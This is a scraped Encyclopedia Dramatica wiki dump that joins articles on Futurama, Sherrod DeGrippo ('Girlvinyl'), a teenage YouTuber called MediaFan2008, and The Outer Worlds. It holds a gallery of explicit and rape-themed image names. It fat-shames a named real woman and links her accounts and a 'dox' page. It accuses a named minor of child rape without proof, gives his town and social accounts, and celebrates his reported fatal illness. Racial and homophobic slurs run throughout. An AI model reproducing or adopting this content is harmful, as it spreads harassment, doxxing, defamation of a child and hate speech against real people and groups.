*'''''The Beast With A Billion Backs''''': After Bender tore space-time a new asshole in ''Bender's Big Score'', a shemale [[Flying Spaghetti Monster|Spaghetti Monster]] called Yivo [[tentacle rape]]s everyone by making them deepthroat him/her/shkler in one giant gangbang. Fry becomes the leader of [[Scientology]], Zapp fucks Amy after [[The Great Dumbledore Dies Meme of 2005|KIF DIES!]] and Bender becomes a [[pirate]].

*'''''Bender's Game''''': Leela has a fit of [[Chris Benoit|roid-rage]] and smashes the Planet Express ship so [[BDSM|Professor Farnsworth makes her wear a shock collar for being a bitch (she eventually begins to like it)]]. Meanwhile Bender goes [[batshit insane]] and thinks he's a knight in a [[World of Warcraft|mystical faerie world]]. He gets sent to the nuthouse while Professor and [[Your mom|Mom]] fight over some [[Meth|crystals]]. Some weird shit happens and they get sucked into Bender's imagination; from here on in it's just the exact same plot line but this time the characters are [[LARP]]ing. Culminates in a [[LOTR]] escapade but [[shit bricks|somehow everything reverts back to the FIRST plot line and Mom's autistic son is Farnsworth's]] after a [[Star Wars]] style revelation of paternity.

*'''''Into The Wild Green Yonder''''': in short, this movie is basically the Alien Zoo episode of [[Captain Planet]] because its final message is, ''"Despite having 10 ga-jillion people alive and living on the Earth, the Human Species is an endangered animal that is on the verge of extinction."'' Less Cynically, Amy's dad comes up with the [[final solution|brilliant plan]] of blowing the shit out of a star to make way for a planetary miniature golf course. Fry gets a piece of jewelery lodged in his brain which allows him to read minds but he goes nuts, dons a tinfoil hat and joins [[Anonymous|"The Legion of Mad Fellows"]]. Bender has an affair with a fembot called [[Ass|Fanny]], Leela and Amy become [[feminists]] and have an [[orgy|big hippy party]] before saving a bunch of [[meat|animals]]. The movie ends with Fry and Leela finally getting together inside the Planet Express ship and [[BAWWW|expressing their feelings for each other]] as Brannigan's ship lubes its space-cannon. Suddenly, the whole cast gets sucked into a giant wormhole which Professor Farnsworth says could take them [[Over 9000|billions of lightyears]] away, never to return. [[Earth|Where will the wormhole leave them?]]

==Memes==
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{{clear}}
'''Futurama''' holds the record for the most, and worst, memes spawned from a bad cartoon show. Among its viral fecal-matter are [[Hypnotoad]], [[:File:Shutupandtakemymoney.jpg|Shut up and take my money!]], [[I see what you did there]] and [[:File:Not Sure Fry.jpg|Not Sure Fry]] (the latter two were conceived from the same image, [[sarcasm|a testament to the Internet's creativity]]). This wretched vat of fail boiled over into the marketing department at ''[[Comedy Central]]'', who used them to [[shameless self-promotion|advertise the show]] and draw in the [[Aspies|Internet-savvy]].
<center>{{fv|Futurama Forced Memes|background-colour: white;|font-weight: bold;
| <youtube>vyKoIkgVBBI</youtube>
| <youtube>EdwCdQwJDXU</youtube>
| <youtube>xdi5XtCnBaQ</youtube>
| <youtube>VOCQcaE_k50</youtube>
| <youtube>oygdSyNAeto</youtube>
| <youtube>78KE5hqnB4Y</youtube>
| <youtube>1RcNcBiwDEA</youtube>
| <youtube>vSUFcOrBRo8</youtube>
| <youtube>maiVxEa8pmc</youtube>
|<youtube>uNbBMTK8sXw</youtube>
<center>'''Zoidberg sums up all of the previous ''Comedy Central'' promos'''</center>
}}</center>

==Galleries==
{{collapsegallery|Memes and other stupid crap|futuramagallery|center|<gallery perrow="5">
Image:Hypnotoad.gif|ALL GLORY TO THE UNFUNNY MEME
File:Shutupandtakemymoney.jpg
File:I don't want to live on this planet anymore.png|Just another way to say [[DO NOT WANT]]
File:Your music is bad and you should feel bad.PNG|Yet ''another'' way to say [[DO NOT WANT]]
File:Not Sure Fry.jpg
</gallery>|<gallery perrow="5">
Image:Second.jpg|[[IAWTC]]
File:ProfessorFarnsworth.png|Good news everyone! Nobody uses half of these memes anymore.
File:Why not Zoidberg.jpg|Because Fuck You, that's why
File:Shut up and take my money IRL.jpg
Image:This thread is bad and you should feel bad.jpg|A highly underused image macro
Image:Gentlemen bender.jpg|[[Gentlemen]]
Image:Child-abduction-1.jpg|[[Child Abduction|Another one of Bender's hobbies]]
Image:THe Hustle.gif|The dance of my people
Image:Futuramaliveactionwl0.png|''Futurama'' [[IRL]]
Image:profnaked.JPG|A typical scene from ''Futurama''
Image:Futurama_snu_snu.gif|Death by snu-snu
Image:Robotnixon.gif|[[Richard Nixon]]'s head was elected President of Earth in 3004.
Image:Futuramayourenotpaidtothink.jpg
Image:Suicide-booth.jpg|The convenient way to become an hero. And at 25 cents, a bargain for the suicidal person on a budget.
Image:Musthazcat.jpg|Futurama and LOLcats
File:Futurama pets.gif
Image:Farnsworth.jpg|Good news everyone! [[OP]] sucks [[cock]]!
Image:Futurama lego.jpg|In Lego form
Image:Futurama cosplay.jpg|[[Pathetic|''Futurama'' cosplay]]
Image:futuramason1.JPG|Cam Whore luv ''Futurama''
File:Notsureifrerun.png| The writers know about the meme!
File:SophisticatedShutIn.jpg| Futurama knows its audience.
File:Bender wine.gif
File:Bender art.jpg
File:Steamboat bender.gif
Image:Futurama_-_Iron_Giant.jpg
File:Time dog.jpg
File:Fry squint.gif
File:Hypnotoad crop.gif
File:Isee.jpg
File:Zoidberg01.jpg
File:Dr-Zoidberg.jpg
File:Zoidberg.png
File:Zoidberg.jpg
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File:FuturamaMorks.jpg
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File:ZoidbergMGS.jpg
File:Spacepope.png
File:Santarobot.jpg
File:Futurama nixons head.png
File:ScruffySecond.jpg
File:Hypnotoad-1.gif
File:Hypnotoad.png
File:Futurama 214 - How Hermes Requisitioned His Groove Back.jpg
File:Futurama sex 3.jpg
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{{collapsegallery|[[Rule 34]]|Futurama Rule 34 Gallery|center|<gallery perrow="5">
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Image:Futurama.jpg
File:Leela-rapes-Amy.jpg|[http://www.xvideos.com/video2018057/futurama-sex Someone actually made a porn video out of this]
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Image:Leela-tentaclerape.jpg
File:Amy-shaves-Leela.jpg
Image:Amy-finger-bed.jpg
File:Amy-giant.jpg
Image:Futurama-morning-after.jpg|Actual deleted scene
File:Kif-getsknocked-up-a-notch.JPG
File:Amy-Leela-dildo-numer-2.jpg
File:Amy-Leela-fingering.jpg
File:Leela-fry-sex-on-spaceship.jpg
Image:Futurama-sex-1.jpg|Fry and Bender [[rape]] Leela for switching Fry's shampoo with yellow dye. Also note severe [[cancer|sunburn]]
File:Leela-backshot.jpg
File:Leela-Amy-SandM.jpg
File:Leela-pussicat.jpg
File:Amy-Leela-dildo-3.jpg
File:Amy-cuntmunch.jpg
Image:Fryleelafucking.jpg
Image:Futurama 220-Anthology of Interest I.jpg|Screenshot from episode 202: Anthology of Interest I
Image:Anthology-of-intreset-extended.jpg|The part you didn't see on TV or DVD.
Image:Leela-asking-for-it.jpg|[[asking for it]]!
Image:Bender-boner.jpg|Bender's original purpose
File:Bender-leela-sex.jpg
File:Zapp-fapp.jpg
File:Futurama-xmas.jpg
File:Amy-tease.jpg
File:Robot prostitutes.jpg
File:The Toyman Hater.jpg
File:Turanga Kong.gif
File:Fry-Licking-Leela.jpg
File:Leela-Zoiberg-Nibbler-rape.jpg
File:Amy-Leela-Genie.jpg
File:SNOO SNOO!.jpg
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File:Amy asking for it.GIF
File:Leela zapp.jpg
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File:Leela riding Fry.jpg
File:Futurama-orgy.jpg
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File:Leela-trap.jpg
File:Amy-Leela-dildo.jpg
File:Amy and Kif.jpg
File:Leela-cumshot.jpg
File:Amy-leela-hermes-porn.jpg
File:Zoidberg-Amy-Fry-threesome.jpg
File:Nibbler leela dildo.jpg
File:Futurama-blooper.jpg
File:Futurama-do-not-want.JPG
File:Amy-angry.JPG
File:Amy-whore.jpg
File:Leela-Fry-Bodyswitch.jpg
File:Futurama Rape.jpg
File:Fry-cumshot.jpg
File:Amy-finger.jpg
File:Fry-Amy-Kif.jpg
File:Leela-Zoidberg-bondage.jpg
File:Fry-Leela-Zapp-fuck.jpg
File:Leela-cytit.jpg
File:Nibbler-eatsout-Leela.jpg
File:Leela-pistol.jpg
File:Fry-erection-zoidberg-girlfriend.jpg
File:Leela-naked.JPG
</gallery>
|}}

==See Also==
*[[I see what you did there]]
*[[Child abduction]]
*[[Hypnotoad]]
*[[Second]]
*[[The Adventures Of Jimmy Neutron: Boy Genius]]
{{Cartoons}}
{{Science}}
{{timeline|Featured article December 2 & 3, [[2012]]|[[Boku No Pico]]|{{PAGENAME}}|[[2012 GNAA Tumblr Ruin]]}}

{{timeline|Article of the Now June 30 & July 1, [[2023]]|[[OceanGate]]|{{PAGENAME}}|[[Patrick S. Tomlinson]]}}

User:YaroslavTV +1

2024-07-28T10:06:40Z

YaroslavTV +1: Created page with "File:Redirectltr.png<big>User:YaroslavTV</big> This page is a {{Wikilink|WP:SRD|soft redirect}}. This is the {{Wikilink|Timeshift_channel|timeshift variant}} of YaroslavTV, delayed by 1 hour of course. Now available on ED."

[[File:Redirectltr.png]]<big>[[User:YaroslavTV]]</big> 
This page is a {{Wikilink|WP:SRD|soft redirect}}.

This is the {{Wikilink|Timeshift_channel|timeshift variant}} of YaroslavTV, delayed by 1 hour of course. Now available on ED.

Girlvinyl

2024-07-28T09:58:30Z

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{{fyi|DeGrippo is from the [[Redneck|hick]] state of [[Georgia, USA]]?}}
{{exclusive}} 
{{spoiler|she lost weight, her skin is still as big as a circus tent and she became a Trump-hating SJW}}
[[File:Fatasssherrod.png|center|400px|Most recent picture of Sherrod DeGrippo, from fall 2011. The fat is totally just an act.]]
{{Quote|Sherrod acts like she's a [[fat|fatty]] but really she's a hot tamale|[[Quasidan|Former ED whiteknight]]}}
[[File:DeGrippo.jpg|thumb|[[knowyourmemes.com]] owner, '''Sherrod'''!]]

'''Girlvinyl''' ([[powerword|Real name]]: '''Sherrod Ellen DeGrippo'''{{jew}}; also known as '''Sherrod DeHippo''', '''Queen DeHippo''', or simply '''DeHippo;''' b. Feb. 5, [[1970s|1978]]: Age {{age|1978|2|5}}) is the erstwhile owner of [[OhInternet]] and former (but soon to be the new) queen of [[Encyclopedia Dramatica]]. She was first revered, if not worshipped, for creating the original Encyclopedia Dramatica, which spawned both smiles and tears from the citizens of the internet. However, this dramatically changed in April 2011 when she decided to close down ED in favor of [[OhInternet]], [[Shit|a wiki that <s>is</s> '''was''' detested and panned by the web]], before it closed [[Last Thursday|last Thursday]]. The very people who helped build the wiki turned against her as her sysop sheep began blaming them for ED’s fall. The once mighty queen is now a center of hatred for those who stayed loyal to the Lulz.

Bring your eye bleach because we're about to warn you that Girlvinyl '''is''' motherfucking '''[[fat]]'''.

==The Making of Encyclopedia Dramatica==
[[File:Sherrod and ED a Hate Story.jpg|thumb|right|Explained in webcomic form.]]
[[File:Sherrod oh exploitable.png|thumb|left|One of her older photographs from her [[No|healthy]] youth.]]

Girlvinyl began her internet musings in a low-key and anonymous manner, focusing on her [[LiveJournal]] blog and posting typical fat girl angle shots. It only took a while for Girlvinyl to realize that LiveJournal, for its time, was a melting pot of drama ready for trolling. From then on, she realized that trolling was just as much fun as eating, leading her and her [[ljdrama]] crew to troll [[mediacrat]], a mentally unstable homosexual. This harassment led to court appearances, [[internet settlement check]]s, and, most importantly, the Internet's first documented [[lulz]]. Of course, [[Jameth]] and [[Hepkitten]] realized that without documentation, this monumental event would be forgotten. Thus, to preserve their drama, they attempted to create a [[Wikipedia]] article on him.

Unfortunately, what they didn’t expect was that Wikipedia was super serious about the content of their articles. In general, they were definitely [http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Mediacrat not smiling] in their attempts to create the mediacrat article. Having a fascist standard for articles, the mediacrat article [http://en.wikipedia.org/w/index.php?title=Special%3ALog&type=delete&user=&page=mediacrat&year=&month=-1&tagfilter= was ultimately deleted]. In response, Girlvinyl, along with ghettofinger and the rest of the ljdrama crew, created Encyclopedia Dramatica, a wiki which provided an alternate view to Wikipedia’s fascist hold on information. During its birth, ED was mainly a branch of ljdrama, thus completely LiveJournal-centric. Within a span of seven years, ED went from a small pet project to an internet phenomenon.

===Temporary death of ED===

:''See also: [[Operation Restoration]]
Regardless of changes in article content, the ED sysop roster was made up of people who despised [[chan]] drama in general, because channers were all [[basement dweller|basement-dwelling]] nerds who spammed memes in their eyes. Sherrod began hating ED over the years as more users joined from different websites and [[Retard|different personalities]]. In fact, she closed IRC once because of their pointless meme spam. Over time, Girlvinyl became less active on the wiki and a bitch to her users on IRC.

However, around mid-2010, things began changing. Girlvinyl basically complained about her poverty, while [[weev]] and [[OldDirtyBtard]] did the thinking for ED. Around the end of 2010, she lost both of them and was left to think on her own. What most people are unaware of is that Girlvinyl always tries to keep things secret. One of the most dangerous secrets was the story of [[Daniel Brandt]], a senior citizen who doxed the sysops and terrified Girlvinyl. In fact, the sysops made it a rule to not talk about Daniel Brandt openly on IRC.

Brandt collaborated with other paranoid schizophrenics to gather information on sysops while [[blogging]] about it. Through this, Brandt made demands on the ED staff in exchange for erasing his article, which cataloged his shameful internet history. Those whom he had teamed up with continued to harass Girlvinyl’s family as a way to get her to cave in. And she did. Her first attempt at deleting ED was around January 2011, but that plan was foiled due to a [[tweet]] and people constantly emailing her not to do it. Around April 2011, girlvinyl decided to try again, this time making sure nothing would interfere with the birth of OhInternet.

The aftermath of this was that Girlvinyl tasted the saltiness of pure irony. She deleted ED to protect her family from angry bloggers, only to face an upset fanbase. Sooner or later, the mighty wrath of fail raped her in her sleep. She was supposedly fornicated with an iron stick.

==As an enemy of the Lulz==

[[File:Sherrod2.jpg|220px|thumb|~*~Do you enjoy me?~*~]]
[[File:Sherrod.jpg|220px|thumb]]
Girlvinyl made the mistake of believing that the [[Lolwut|internet would accept OhInternet]] and that her family would be better off as a result. Sadly for her, things only got worse as she proceeded to shut down Encyclopedia Dramatica. Because picking a website with a dumb name, boring layout, and butchered content is completely satisfying, [[No|right]]? Perhaps Girlvinyl received most of her hate because of her staff’s lies to the internet, which then reflected on her. Below is the list of their lies:

* ED is undergoing maintenance.
* OhInternet is just a sister [[blog]]
* The users were responsible for abusing free speech, thus destroying ED.
* [[Never|An ED archive will be delivered]]
* [[Josephevers.blogspot.com|There is no Daniel Brandt]]
* 'I will deliver the missing screencaps for [[Firefox XPS IRC Attack]] if you write an OhInternet article on it'

As a result of Girlvinyl and her staff alienating the fanbase, the users teamed up and created our lovely [[Operation Restoration|ED 2.0]]; a new ED that got rid of the queen and exposed her nudes. In an attempt to fight this, Girlvinyl [[DMCA]]’d her page. She unfortunately forgot that ED’s new staff wasn’t scared of [[Faggotry|false DMCAs]] and countered it right away. She then fought back again in mid-July 2011. This time she decided to go to ED’s host and complain about ED breaking their TAU; this lead to ED searching for a new host and going offline for a week. ED returned with more donations and support leaving Girlvinyl with more hatred.

Realizing defeat, Girlvinyl responded to [[User:E|e]]'s [[reddit]] thread.

{{squote|Honestly, in all 100% honesty, I have been through this before. I went on the IRC. I talked to the underground uber leet omgz k-rad anonymous cabal (your friend Joepie91 was there even). Unfortunately, I went through it with Ryan, who I admit is obviously the worst possible ambassador for anyone. But, I learned my lesson. I get fucked no matter what. There is no reasoning or negotiating. This isn't a new thing. It's like I said a moment ago, there is no upside for me.|Girlvinyl|[http://www.reddit.com/r/4chan/comments/iqyut/encyclopediadramaticach_needs_your_help/c26bj7i Reddit]}}
{{clear}}

==Quotes==

{{morphquote|mqtest|margin: auto; background-color: pink;|font-weight: bold;|
OHi covers internet drama too! But OHi wants the GOOD internet drama with information that is interesting, not some bullshit about deviantarters and a [[Exhibit B|high school basement dweller's nextdoor neighbor]].|GOOD internet drama
|I own the copyright on the collected works|She totally does
|Thanks to fellow Anons, an archive is in the making for public use that will be freely available, regardless of what the owners demand. One thing the owners did not realize is that the intellectual property belongs to the writers; this means they technically do not even own the materials on ED.|Thus I can do whatever I want with it
|whats a cheap ED ripoff?|
|Shock for shock's sake simply isn't profitable anymore|A completely satisfying reason for shutting it all down
|We have always been on good terms with Anonymous!|Not working.
}}
{{clear}}

== Explanation at ROFLCon ==

As an attempt to get her reasons for deleting ED to spread, girlvinyl went to an internet convention and explained that ED just wasn't profitable for her any more and she didn't make backups because she "didn't want to". She then goes on to explain how she thinks she is [[Moar|much]] [[Obese|better]] than everyone and if she feels like screwing over thousands of users it shouldn't matter because they are all losers anyway.
{{clear}}
==Gallery==
 
{{cg|Gallery of Fat|fatgallery|center|<gallery>
File: CIMG0754_jpg.jpg|EDiots used to...
File:Sherrod_fattest.jpg|fap to...
File:Sherrodpretty1.jpg |this...
File:Sherrodpretty2.jpg |'''shit'''
</gallery>|<gallery>
File:061202H0746 jpg.jpg|Giving thanks to her knights
File:Sherrod-ellen-degrippo-girlvinyl-space-whale.png|This way to the Internet. SO FUNNY AMIRITE?!
File:Girlvinyalcheeks.jpg|DEM CHEEKS
File:GirlvinyalDONOTWANT.jpg|[[DO NOT WANT]]
File:081802H3205_jpg.jpg|Emo rave bullshit.
File:IM001242_jpg.jpg|Whale emerging from the depths.
File:IM001968 jpg.jpg|Embarrassing herself and everyone around her.
File:Degrippo_Artists_Rendition.jpg|Artistic Rendering
File:Sherrod4.jpg|Constantly stuffing her face.
File:GirlvinylWishlist.jpg|Attempting to [[whore]] for money.
File:Fatbitch.jpg‎|[[Typical]] icon of GV.
File:Girlvinylsmiley.jpg|Oh god no.
File:GirlvinylAvy.jpg|There aren't enough [[MySpace]] [[Fat_girl_angle_shot|angles]] in the world to map her [[Africa|total area]].
File:User Sherrod - Oh Internet.png|TROLLED HARD
File:Whaleprofilefull.png‎|[http://ohinternet.com/index.php?title=User:Sherrod&oldid=21495| OhInternet profile]
File:Escapefrom.jpg|Coming to an IMAX theater near you.
File:ED newswalk sellout story.PNG
File:Sherrod DeGrippo Young.jpg|DeGrippo in her childhood. Where did everything go wrong?
File:CIMG0873_jpg.jpg
File:CIMG0672 jpg.jpg|[[Fat girl angle shot|FGAS]] to the max.
File:CIMG0669 jpg.jpg
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File:CIMG0676 jpg.jpg
File:CIMG0674 jpg.jpg|[[Attention whore|Attention whoring]] at its finest.
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File:Girlvinyl ljdrama.jpg
File:ED-Headshot.jpg
File:Log_ed.png|Sherrod, being a fun person.
File:Log_forum.png
File:Log_ohi.png
File:Ohi_kick.png
File:Apology.png|For some reason, she didn't accept this heartfelt apology :'-(
File:Pynchon apology form.jpg|Or this one. :(
File:Sherrodswimmingincum.jpg|LOL. Cumslut.
File:Sherrodshirt2.jpg
File:Sherrodpretty3.jpg
File:Girlvinyljournal.jpg
File:HAR SHE BLOWS.jpg|Dem cheeks again...
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File:EscapeFromAnnon.jpg
File:Sherrod-degrippo.jpg
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File:Sherrods-Dog-XD.png.jpg
File:Sherrod-degrippo-not-fat.jpg|The day we thought would never come
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File:Sherrod goth.jpg
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|}}

==See Also==
[[File:DelHippock.jpg|right|280px|thumb|With the power of the mighty DMCA I smite thee!]]
* [[Girlvinyl/Emails]]
* [[OhInternet]]
* [[Arguecat]]
* [[Randi Harper]] - Her e-nemesis
* [[Tamageddon]]
* [[MAN THE HARPOONS]]
* [[Fat]]
* [[Chubby]]
* [[Zaiger]] - Same story, different book

==External Links==
===Her sites===
*[http://girlvinyl.com GirlVinyl.com]
:*[http://girlvinyl.com/lj2007/LJbannedbooks/index.html Favourite books]
*<s>[http://blog.ohinternet.com/author/sherrod/ Blog on OhI]</s>
*[https://www.facebook.com/sherroddegrippo Facebook]
*[http://www.kaboodle.com/girlvinyl Kaboodle]
*[http://girlvinyl.livejournal.com/ LJ]
*<s>[http://www.myspace.com/girlvinyl MySpace]</s>
*[http://www.reddit.com/user/girlvinyl Reddit]
*<s>[http://twitter.com/girlvinyl Twatter!]</s> she moved to [https://twitter.com/sherrod_im SherrodIM]
*[http://www.youtube.com/user/girlvinyl YouTube]

===Others===
*[http://crimint.wordpress.com/tag/sherrod-degrippo/ An ED hater sucking the cock of DeHippo]
*{{archive|6FyaX|The first ones to gloat when ED turned into OHI}} and only ones to interview her were [[TheMarySue]].
*<s>[http://www.youtube.com/user/AnonBurnsInHell One of GV's whiny white knights.]</s>
*[http://doxbinumfxfyytnh.onion.to/doxviewer.php?dox=Sherrod_Ellen_DeGrippo Her dox]
{{clear}}
 
{{whores}}
{{LJ}}
{{IDrama}}
{{Takedown}}
{{Enemy}}
{{FallenGov}}
{{jewseries}}
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{{timeline|Featured article March 15 & 16, [[2018]]|[[Femen|FEMEN]]|{{PAGENAME}}|[[Amy Bishop]]}}

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OceanGate

2024-07-28T09:57:01Z

YaroslavTV +1:

Futurama

2024-07-28T09:55:13Z

YaroslavTV +1:

MediaFan2008

2024-07-28T09:52:14Z

YaroslavTV +1:

{{Watched}}
{{achtung|<s>HOLY SHIT NAPPYFAN’S COMITTING ZOOISIDE REST IN PISS BOZO}}
{{eduser|MediaFan}}
{{Aspie}}
{{lolcow}}
{{child}}
{{offendedKids}}
{{pedo}}
{{Dying|[[AIDS|queer]]}}
{{spoiler|HOLY FUCKING SHIT MEDIAFAN'S BEEN DIAGNOSED WITH A CONDITION THAT WILL WIPE HIS PATHETIC DIAPER FUCKING ASS OFF THIS PLANET WITHOUT OUR HELP LMAO}}

{{ib|[[File:Mediapedo.png|300px]]}}
{{Ibhead|MediaFan2008}}
{{Ibrow|'''Born'''|April 13, 2008}}
{{Ibrow|'''Nationality'''|[[British]]  [[File:miniflagUK.png|20px]]}}
{{Ibrow|'''Residence'''|Darlington, [[England]]}}
{{Ibrow|'''Ethnicity'''|[[White]]}}
{{Ibrow|'''Gender'''|[[Male]]}}
{{Ibrow|'''Sexuality'''|Asexual Pedophile}}
{{Ibrow|'''Occupation'''|Obsessing over TV shows, raping minors, and catfishing people}}
{{Ibend}}
[[File:mediafamilylal.png|thumb|MediaFan everywhere, and anywhere]]
'''MediaFan2008''' (Powerword: Emmerdale Johno Alan Mcardle) is a {{age|2008|04|13}}-year-old [[sick fuck]] from [[Britfag|The United Kingdom]] who wastes his time doing [[pedophile|pedophilic]] stuff [[OTI]].

As you may or may not have known, Daley here has been recently outed for being a [[pedophile]] since he obsesses over [[fetish|nappies]], apparently has [[wtf|raped a 9 year old, despite him being 15 at the time]], keep in mind that the [[Asking for it|Age of Consent in Great Britain is 16]], and when he gets called out, he plays the autism and victim cards.

==History==
On April 13, 2008, Daley's mother shat him out into the world so he can grow up to what he was destined to be, an [[autism|asspie]] jackass who would basically jerk off to any British Kids Television Programming. Little did he know that what would happen in January of [[2022]] would affect him for the rest of his life.

==His downfall==
In January of 2022, he was outed for attempted [[catfish|catfishing]], this event would basically traumatize his career on [[JewTube]] for the rest of his life. Ever since that day, everyone cut all ties with him. It wouldn't be until July of 2022 when he committed his big crime yet, people literally found out [[truth|the dark side]] of this motherfucker. He literally had [[pedo|sex with children]], whilst under the age of consent, he still fucked up to the point that he literally almost deleted his social media (other than Discord) like the big pussy he is. He has also raided a server by [t00thpick], a {{age|2008|09|27}}-year-old autistic pansexual genderfluid ident archiver/[[Logo Kids|logo kid]]/adster/[[Special Education|sped]] who spends a lot of their time on the [[SNCA|fediverse]] and is obsessed with [[chiptune]] music and hoarding various [[Apple]] products, mainly from the [[2000]]s and [[2010]]s. Out of spite, [t00thpick] [https://youtu.be/z-MzQrzRcPQ made a very lulzy rant on him.]

In September 2022, in a Discord GC, MediaFan sent videos of children being abused and [[Diogo Mendes|hit on [t00thpick] despite him already having a girlfriend at that point.]]
That same month, it was announced in a Discord GC that [[Liar|he would jump out his brother’s window and commit an hero.]]

In December 2022, he made an intro for [t00thpick], which later became the cause of [t00thpick]’s ties with many of her closest friends being heavily jeopardised to fucked… So much so that one of [t00thpick]’s former closer friend, Selevan, a {{age|2007|06|27}} year old [[asspie]] [[lesbian]] [[spic]] from [[California]] made [https://docs.google.com/document/d/1zAdFBsex_NzAaA5qFdeDrjswcX062-_yjpThdp5hPkI this very violent doc about them getting executed.] That very same month, he threatened to book train tickets to [t00thpick]’s city, possibly to [[Jeffrey Dahmer|rape and/or eat him]], before December 24, 2022, when he drew t00thpick getting raped by him. When t00thpick saw that, she really, really started to hate MediaFan
[[File:EF34C08D-24F9-43AC-BA58-F2943BCDFBA8.jpg|right|thumb]]

==Getting ready for his future [[Pedophile|job]]==

In November 2021, MediaFan went into the modmail of a [[GoAnimate]] discord server and asks the mods there for [[CP]]. How anyone continued to like him after that is a wild guess, but a few months later, in 2022, he randomly said on Discord, "''Nappies give me a [[cock|boner]] for some reason''". This caught the attention of EVERYONE in the [[UK]]TV community. And as on the icing of the cake, he wanted to have intercourse with a cartoon character called "Alex", who is a baby wearing a nappy with a blue T-shirt on a YouTube video called "[[Sittin On Tha Toilet|Potty]] Time" made by a [[Utah]]-based company called "Two Little Hands Productions".

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|<youtube>CppecpVZeuI</youtube> RIP BOZO
|<youtube>CzERUpA1mLk</youtube> If this page is too long for you then watch this you lazy fuck.
|<youtube>jtZYJM-IRRY</youtube> He tried leaving [[Discord|Dicksword]] at one point.
|<youtube>y9c2AxAdUeI</youtube> Some of his spergery in a voice chat.
|<youtube>djyagU9p6dE</youtube> That one time he tried to join a heavy metal band.
|<youtube>2L1o4dGd6YM</youtube>
|<youtube>Ox9G-BJE5B8</youtube> In this video he almost tried to commit [[an hero]], keep in mind this "Yomanda" dude [[catfish|was him all along]].
|<youtube>zy05LE8DLfc</youtube> Diss track he made on [t00thpick]. So lulzy, but it got baleeted.
|<youtube>l2ILHRqiNdQ</youtube> Apology to t00thpick for all the friends and circles they lost. Note that not too long after he made that, he drew t00thpick getting raped and posted it in a GC he was in.}}|

==LMAO REST IN PISS==

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|<youtube>CppecpVZeuI</youtube> In January 2023, MediaFan got diagnosed with an unknown deadly condition, which means his shenanigans will come to an end, hopefully soon...}}|

==Dale's Social Media Accounts==
* {{yt|c|UCBUgVFuhXZwJ7Wc3WpSUP4A|MediaFan's new account}}
* {{tiktok|mediafan2008|TikTok}}
* {{discord|u|MediaFan#2008}} - His Discord Account
* {{discord|u|KFWFan2005#4748}} - This Discord Account might belong to him
* [https://gamejolt.com/@mediafan2008 His GameJolt]
* [https://neocities.org/browse?sort_by=special_sauce&page=1599# His Neocities]
* [https://mediafan.carrd.co His carrd.co page]
* [https://www.discogs.com/release/22748120-MediaFan2008-Saved-Soul His Discogs]

==See Also==
* [[Autism]]
* [[Catfish]]
* [[Diogo Mendes]] - {{age|2005|12|11}}-year-old [[Portuguese]] faggot whose behavior is similar.
* [[Discord]]
* [[IronKidFan8]] - Has a hateboner for him despite being what he'll grow up as. Also lives in the same country as him.
* [[Keegan Salisbury]] - {{age|2004|9|15}}-year-old nobody from [[Illinois]] who might have a strong hateboner for him despite acting the same way as he does.
* [[Pedophile]] - Whilst being under Britain's Age of Consent, he still is one.
* [[Sick Fuck]]
* [[United Kingdom]] - Where this cuck lives.
* [[Willg8686]] - {{age|2003|09|11}}-year-old who acts similar to him.
* [[YouTube]]

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The Outer Worlds

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'''The Outer Worlds''' (a.k.a. '''Fallout: Space Vegas''', '''[[TOW]]''', '''Space Dyke Simulator 2019''' and '''[[Fallout 4]]''') is a [[2019]] [[video game|vidya game]] by Obshitian Entertainment that serves as the sequel to the company's 2010 hit, [[Fallout: New Vegas]]. Much like its predecessor, The Outer Worlds is a western-themed [[FPS]][[RPG]][[OMG]][[WTF]][[BBQ]] game that is filled to the brim with dykes and other assorted homosexual degenerates since Obsidian's staff are a bunch of virulent Social Justice Warriors.

Unlike Fallout: New Vegas, which was built on Bethesda's shitty Frankensteined Gamebryo engine, The Outer Worlds is instead built on Epic Games' Unreal Engine – the most overused piece of shit in the gaming industry. Despite being built on a superior engine almost a full decade after its predecessor, The Outer Worlds somehow still manages to have characters with faces so fugly that they look like they were ripped straight out of a 2006 Bethesda game.

Because 2019 was an absolute shit year for gaming, reviewers will ultimately be forced to decide whether The Outer Worlds deserves to win Game of the Year over the downgraded Nintendo Switch re-release of 2015's The Bitcher 3: Wild Cunt.

{{quote|Fallout in space.|Video game reviewers}}

== Story ==

{{squote|A mad scientist named Phineas wakes you up from 70 years of Cryo-Sleep so you can destroy capitalism across two whole planets. Also all women are bulldykes and you get to shoot shit with lasers. None of it is actually interesting because Obsidian knows that you aren't going to play this for the story anyways.

This theme of capitalism is a large reason why the game won't feature crafting. We felt like doing a lot of your own crafting sort of took away from one of those themes that we were trying to hammer on quite a bit and get across. If players were able to make their own goods and avoid paying for them, it lessened that message that we were trying to talk about.|Obsidian, on TOW being a watered-down game and anti-capitalist propaganda}}

== Characters ==

The Stranger is you. You get to choose which homosexuals get purged from this world.
Phineas Vernon Wells is literally Rick from Rick and Morty. He wakes you up from Cryo-Sleep and you can promptly thank him by shooting him in the face.
Alex Hawthorne is a mercenary that you accidentally crush to death with your escape pod. You then steal his identity and his space ship.
ADA is a lesbian AI who resides in Hawthorne's space ship.
Ellie is a lesbian space pirate.
Parvati Holcomb is a lesbian who shits in the streets.
Nyoka is a pink-haired lesbian nigger.
Clive Lumbergh is an entrepreneur who breeds Cystipigs, a form of cancer-ridden swine that taste like bacon, and sells them to hungry consumers. One of the few morally good characters in the game. Also he looks like a typical Fallout 3 raider and talks like he just suffered half-a-dozen strokes.
Catherine Malin is an evil dyke who wants you to murder Clive. Shoot her in the face immediately.
Moon Man is the mascot for Spacer's Choice and an avowed white supremacist. Basically a racist version of Vault Boy.

== Attributes a.k.a. The DCSPIT System ==

Body

Strongth lets you carry more shit and do more melee damage.
Dexterity lets you reload faster and swing melee weapons faster.

Mind

Intelligence increases critical hit damage.
Perception increases the damage you do with headshots.

Personality

Charm boosts reputation increases and shortens companion ability cooldown times.
Temperament gives you health regeneration.

== Skills ==

Melee

One-Handed Melee
Two-Handed Melee

Ranged

Handguns
Long Guns
Heavy Weapons

Defense

Dodge
Block

Dialog

Persuade
Lie
Intimidate

Stealth

Sneak
Hack
Lockpick

Tech

Medical
Science
Engineering

Leadership

Inspiration
Determination

== Perks ==

Like in New Vegas, you get a perk every other level. Unlike in New Vegas, however, all of the 42 perks that you can choose from are complete shit.

Tier 1

Toughness increases your max HP.
Slow the World makes V.A.T.S. last longer.
Lone Wolf increases your attack damage when you're traveling without companions. Literally Lone Wanderer.
Strider makes you walk faster.
